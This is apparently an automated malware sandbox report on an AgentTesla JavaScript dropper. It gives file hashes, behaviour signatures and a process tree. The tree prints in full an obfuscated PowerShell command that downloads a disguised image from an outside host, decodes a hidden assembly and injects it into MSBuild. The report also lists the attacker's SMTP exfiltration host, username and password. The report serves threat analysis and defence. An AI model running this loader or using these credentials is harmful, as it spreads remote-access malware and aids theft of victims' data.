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Analysis

  • max time kernel
    123s
  • max time network
    203s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/01/2025, 06:23

General

  • Target

    20250120.js

  • Size

    155KB

  • MD5

    fe92c7ee393a2c87ccb3034c9ce18b14

  • SHA1

    8d2c9d5a5c985fb4feb466be1a4752d67042f4b7

  • SHA256

    85f2eb1ab28147d1353a0dbcc5592dcd955e6560e7a33015a303717c4b588d72

  • SHA512

    1adc6de119ce2090ce0752ece5d23e84dfa77e7ebe4505f7b4c5ef206808962b623d527cc888f2028e585f83d7261c7aec4241b90912c2e070eea38791c99ad4

  • SSDEEP

    768:loXxTexWHGJUY61tqTo7RkIwZnBN09oavEug4zdv9PCX9p6FHs5+hAQCx8PkYWXb:QTr8tIInBNKduYM5lOPTWf67ZqGxiZA0

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

exe.dropper

https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    mail.ctdi.com.ph
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    A#f+Y]H8iO4a

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\20250120.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.ennada/az.oc.secnailppanednil//:sp##h';$restoredText = $originalText -replace '#', 't';$vilifiers = 'https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg ';$hemichannels = New-Object System.Net.WebClient;$osteogenesy = $hemichannels.DownloadData($vilifiers);$rescindable = [System.Text.Encoding]::UTF8.GetString($osteogenesy);$phytotoxic = '<<BASE64_START>>';$Homberg = '<<BASE64_END>>';$committed = $rescindable.IndexOf($phytotoxic);$rhamphodon = $rescindable.IndexOf($Homberg);$committed -ge 0 -and $rhamphodon -gt $committed;$committed += $phytotoxic.Length;$dyotheletian = $rhamphodon - $committed;$gradualistic = $rescindable.Substring($committed, $dyotheletian);$quadropole = -join ($gradualistic.ToCharArray() | ForEach-Object { $_ })[-1..-($gradualistic.Length)];$phosphorical = [System.Convert]::FromBase64String($quadropole);$aegophony = [System.Reflection.Assembly]::Load($phosphorical);$stolonization = [dnlib.IO.Home].GetMethod('VAI');$stolonization.Invoke($null, @($restoredText, 'palatines', 'palatines', 'palatines', 'MSBuild', 'palatines', 'palatines','palatines','palatines','palatines','palatines','palatines','1','palatines','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3420
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1052

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q4r4vtsh.e4d.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1052-19-0x0000000000400000-0x0000000000442000-memory.dmp

    Filesize

    264KB

  • memory/1052-28-0x0000000006BB0000-0x0000000006BBA000-memory.dmp

    Filesize

    40KB

  • memory/1052-27-0x0000000006BE0000-0x0000000006C72000-memory.dmp

    Filesize

    584KB

  • memory/1052-26-0x00000000069A0000-0x0000000006A3C000-memory.dmp

    Filesize

    624KB

  • memory/1052-25-0x00000000068B0000-0x0000000006900000-memory.dmp

    Filesize

    320KB

  • memory/1052-24-0x0000000005470000-0x00000000054D6000-memory.dmp

    Filesize

    408KB

  • memory/1052-23-0x0000000005850000-0x0000000005DF4000-memory.dmp

    Filesize

    5.6MB

  • memory/3420-13-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

  • memory/3420-18-0x0000023CA03C0000-0x0000023CA03CC000-memory.dmp

    Filesize

    48KB

  • memory/3420-17-0x0000023CF7D20000-0x0000023CF7EDA000-memory.dmp

    Filesize

    1.7MB

  • memory/3420-22-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

  • memory/3420-16-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

  • memory/3420-14-0x00007FFEFB173000-0x00007FFEFB175000-memory.dmp

    Filesize

    8KB

  • memory/3420-15-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

  • memory/3420-1-0x00007FFEFB173000-0x00007FFEFB175000-memory.dmp

    Filesize

    8KB

  • memory/3420-12-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

  • memory/3420-7-0x0000023CF6F60000-0x0000023CF6F82000-memory.dmp

    Filesize

    136KB